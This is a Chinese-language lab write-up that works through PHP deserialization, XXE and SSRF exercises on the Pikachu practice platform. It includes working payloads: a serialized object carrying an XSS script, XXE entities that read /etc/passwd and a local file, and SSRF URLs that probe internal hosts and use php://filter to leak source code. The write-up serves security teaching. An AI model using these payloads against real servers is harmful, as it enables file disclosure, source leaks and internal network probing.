PHP反序列化
简介：
在理解这个漏洞前,你需要先搞清楚php中serialize()，unserialize()这两个函数。
序列化函数serialize()：
序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:
class S{
public $test="pikachu";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化
序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O:代表object
1:代表对象名字长度为一个字符
S:对象的名称
1:代表对象里面有一个变量
s:数据类型
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度
pikachu:变量值
反序列化函数unserialize()：
就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的结果为pikachu
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题
常见的几个魔法函数:
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup将在序列化之后立即被调用
漏洞举例:
class S{
var $test = "pikachu";
function __destruct(){
echo $this->test;
}
}
$s = $_GET['test'];
@$unser = unserialize($a);
payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
关于php反序列化的介绍，这里我们引用官方（即pikachu的初始开发人员）博客园中的例子，更加清晰直接：
现在我们都会在淘宝上买桌子，桌子这种很不规则的东西，该怎么从一个城市运输到另一个城市，这时候一般都会把它拆掉成板子，再装到箱子里面，就可以快递寄出去了，这个过程就类似我们的序列化的过程（把数据转化为可以存储或者传输的形式）。当买家收到货后，就需要自己把这些板子组装成桌子的样子，这个过程就像反序列的过程（转化成当初的数据对象）。
也就是说，序列化的目的是方便数据的传输和存储。
在PHP应用中，序列化和反序列化一般用做缓存，比如session缓存，cookie等。
常见的序列化格式：
- 二进制格式
- 字节数组
- json字符串
- xml字符串
所以事实上漏洞的成因是在编写逻辑时出现的，事实上反序列化不是很容易出现，出现的条件也挺苛刻的，我们必须能倒推回去才能够拿到原始的数据，所以我们利用漏洞的面也比较窄，但是最重要的是，因为是逻辑上的漏洞，所以一旦出现非常要命，被入侵的人员或公司要用大量的时间来查代码逻辑，基本这个产品就废了，因为基本无法确定是哪个API出了问题，还不如重写一次来的更快。
反序列化实验：
打开页面，发现页面提醒我们，文本框是一个接受序列化数据的API，我们查看一下源码（路径如下图所示）：
我们可以自己写一段反序列化的恶意代码，这里我在与上面源码文件相同的目录下创建了一个PHP格式的文件夹（路径如下），我命名为per.php，然后在里面写了一段代码：
<?php
class A{
public $test = "pikachu";
}
$S = new A();
$serdata = serialize($S);
echo $serdata;
echo '<br>';
$u = unserialize($serdata);
echo $u -> test
class S{
var $test = "<script>alert('xss')</script>";
}
echo '<br>';
$a = new S();
echo serialize($a);
?>
我们看到里面创建了两个class，一个命名为A，一个命名为S（在使用时值使用任意一段代码，把A或者S的内容注释掉），然后创建一个对象并调用序列化函数把它序列化，之后输出它，最后两行代码是创建u进行反序列化，然后输出。被注释的代码也是相似的含义。我们先按照上图注释S，然后在新的页面访问这个文件：
class A{
public $test = "pikachu";
}
$S = new A();
$serdata = serialize($S);
echo $serdata;
echo '<br>';
$u = unserialize($serdata);
echo $u -> test
我们看到访问到了序列化的结果，下面的pikachu是反序列化的结果。接下来我们运行S部分的代码，S部分只有序列化，但是我们得到了序列化的结果之后，把结果输入文本框中，应该能得到想要的结果，所以我们这里把字符换成了<script>标签，如果反序列化成功则会出现弹窗：
class S{
var $test = "<script>alert('xss')</script>";
}
echo '<br>';
$a = new S();
echo serialize($a);
访问这个文件，发现出现弹窗，网页中也出现序列化结果：
然后我们点击确定把弹窗取消，然后右键查看页面源代码，发现了弹窗的序列化结果，这个时候我们获取到了这个结果，可是文本框对应的文件，并不是我们新创建的这个文件，而是unser.php，所以，我们把我们自创文件夹里关于class S的代码，复制到unser.php里面（注意把原来的class S注释了）：
然后我们复制页面源代码中的序列化结果，并直接把它放到网页的文本框中，发现返回了弹窗：
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
XXE:
简介：
XXE，全程xml external entity injection，意为“xml外部实体注入漏洞”，概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"，也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
我们先了解一下XML语言，XML是用于标记电子文件使其具有结构性的标记语言，可以用来标记数据、定义数据类型，是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素
如果你了解XML，你可以把XML理解为一个用来定义数据的东东。因此，两个采用不同技术的系统可以通过XML进行通信和交换数据。 比如，下图就是一个用来描述一个职工的XML文档样本，其中的’name’,'salary’,'address’ 被称为XML的元素。
有些XML文档包含system标识符定义的“实体”，这些XML文档会在DOCTYPE头部标签中呈现。这些定义的’实体’能够访问本地或者远程的内容。比如，下面的XML文档样例就包含了XML ‘实体’。
在上面的代码中， XML外部实体 ‘entityex’ 被赋予的值为：file://etc/passwd。在解析XML文档的过程中，实体’entityex’的值会被替换为URI(file://etc/passwd)内容值（也就是passwd文件的内容）。 关键字’SYSTEM’会告诉XML解析器，’entityex’实体的值将从其后的URI中读取。因此，XML实体被使用的次数越多，越有帮助。
而外部实体攻击，其实就是有了XML实体，关键字’SYSTEM’会令XML解析器从URI中读取内容，并允许它在XML文档中被替换。因此，攻击者可以通过实体将他自定义的值发送给应用程序，然后让应用程序去呈现。 简单来说，攻击者强制XML解析器去访问攻击者指定的资源内容（可能是系统上本地文件亦或是远程系统上的文件）。比如，下面的代码将获取系统上folder/file的内容并呈献给用户。
第一部分：XML声明部分
<?xml version="1.0"?>
第二部分：文档类型定义 DTD
<!DOCTYPE note[
<!--定义此文档是note类型的文档-->
<!ENTITY entity-name SYSTEM "URI/URL">
<!--外部实体声明-->
]>
第三部分：文档元素
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
其中，DTD（Document Type Definition，文档类型定义），用来为 XML 文档定义语法约束，可以是内部申明也可以使引用外部DTD现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的，从而也就直接避免了这个漏洞。
① 内部申明DTD格式
<!DOCTYPE 根元素 [元素申明]>
② 外部引用DTD格式
<!DOCTYPE 根元素 SYSTEM "外部DTD的URI">
③ 引用公共DTD格式
<!DOCTYPE 根元素 PUBLIC "DTD标识名" "公共DTD的URI">
外部实体引用 Payload
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。
本章提供的案例中,为了模拟漏洞,通过手动指定LIBXML_NOENT选项开启了xml外部实体解析。
XXE实验：
打开pikachu平台，我们先输入一个payload,我们发现已经把我们定义的内容输出在了前端：
<?xml version = "1.0"?>
<!DOCTYPE note [
<!ENTITY hacker "ESHLkangi">
]>
<name>&hacker;</name>
然后我们尝试读取一个敏感的文件，我在C盘中创建了一个文本文档，输入了随机的内容，我们尝试访问它（路径修改为文件所在的路径）：
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///C://11.txt">
]>
<x>&f;</x>
我们打开源码看一下，发现了我们输入的源码（路径如下图所示）：
其中访问敏感文件的源码，路径是etc目录下的passwd，这是针对Linux的，在Linux中我们访问到时候可以采用这个路径。再往下看，发现它用if语句防止输入错误，我在这里就稀里糊涂不知道为什么就输入总是不正确，建议玄学错误恢复快照。
SSRF
概述：
SSRF，全称Server-Side Request Forgery，意为服务器端请求伪造，其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制，导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。
数据流:攻击者----->服务器---->目标地址
根据后台使用的函数的不同,对应的影响和利用方法又有不一样
PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()
如果一定要通过后台服务器远程去对用户指定("或者预埋在前端的请求")的地址进行资源请求,则请做好目标地址的过滤。
SSRF（curl）
我们进入页面，发现有一个h标签，点击一下，发现跳到了普希金的一首诗：
我们看URL，发现了跳转到诗的路径：
http://192.168.11.1/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu-master/vul/ssrf/ssrf_info/info1.php
我们可以把URL后面的内容换成同一网络的其他服务器上地址和端口，探测内网的其他信息，比如端口开放情况，也可以访问某一个文件夹，这种get类型的数据我们通过修改URL的内容就可以了。我们看一下后台的代码，如果没有做好过滤，就可以通过curl这个方法获取到内网的其他服务器上的信息，也可以对网络上的进行读取（路径如下图所示）：
SSRF(file_get_content
进入页面，还是一个h标签，点一下出现了艾青的一首诗：
还是在URL发现了访问路径：
http://192.168.11.1/pikachu-master/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pikachu-master/vul/ssrf/ssrf_info/info2.php
我们再打开代码看一下（路径如下图所示）：
我们看到，与curl的区别是，这一关使用了file_get_contents （）函数 ，file_get_contents() 函数把整个文件读入一个字符串中。其实和 file()函数 一样，不同的是 file_get_contents() 把文件读入一个字符串。file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法。如果操作系统支持，还会使用内存映射技术来增强性能。所以我们可以直接读取一个文件我们还看到图中有这样的字样：
读取PHP文件的源码:php://filter/read=convert.base64-encode/resource=ssrf.php
内网请求:http://x.x.x.x/xx.index
意味着file_get_contents里面带有php：// filter 我们用这个就可以来读取php源码，所以我们来构造URL：
192.168.11.1/pikachu-master/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php
然后看到页面上出现了乱码，那我们解码就好了，解码工具的网址是：https://base64.us/，下面的内容是解码完成的内容，因为是复制所以没有缩进，大家凑和看：
<?php
/**
* Created by runner.han
* There is nothing new under the sun
*/
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "ssrf.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR.'header.php';
?>
<div class="main-content">
<div class="main-content-inner">
<div class="breadcrumbs ace-save-state" id="breadcrumbs">
<ul class="breadcrumb">
<li>
<i class="ace-icon fa fa-home home-icon"></i>
<a href="ssrf.php"></a>
</li>
<li class="active">概述</li>
</ul>
</div>
<div class="page-content">
<b>SSRF(Server-Side Request Forgery:服务器端请求伪造)</b>
<p>其形成的原因大都是由于服务端<b>提供了从其他服务器应用获取数据的功能</b>,但又没有对目标地址做严格过滤与限制</p>
导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据<br>
<br>
数据流:攻击者----->服务器---->目标地址<br>
<br>
根据后台使用的函数的不同,对应的影响和利用方法又有不一样
<pre style=" 500px;">
PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()
</pre><br>
如果一定要通过后台服务器远程去对用户指定("或者预埋在前端的请求")的地址进行资源请求,<b>则请做好目标地址的过滤</b>。
<br>
<br>
你可以根据"SSRF"里面的项目来搞懂问题的原因
</div><!-- /.page-content -->
</div>
</div><!-- /.main-content -->
<?php
include_once $PIKA_ROOT_DIR . 'footer.php';
?>
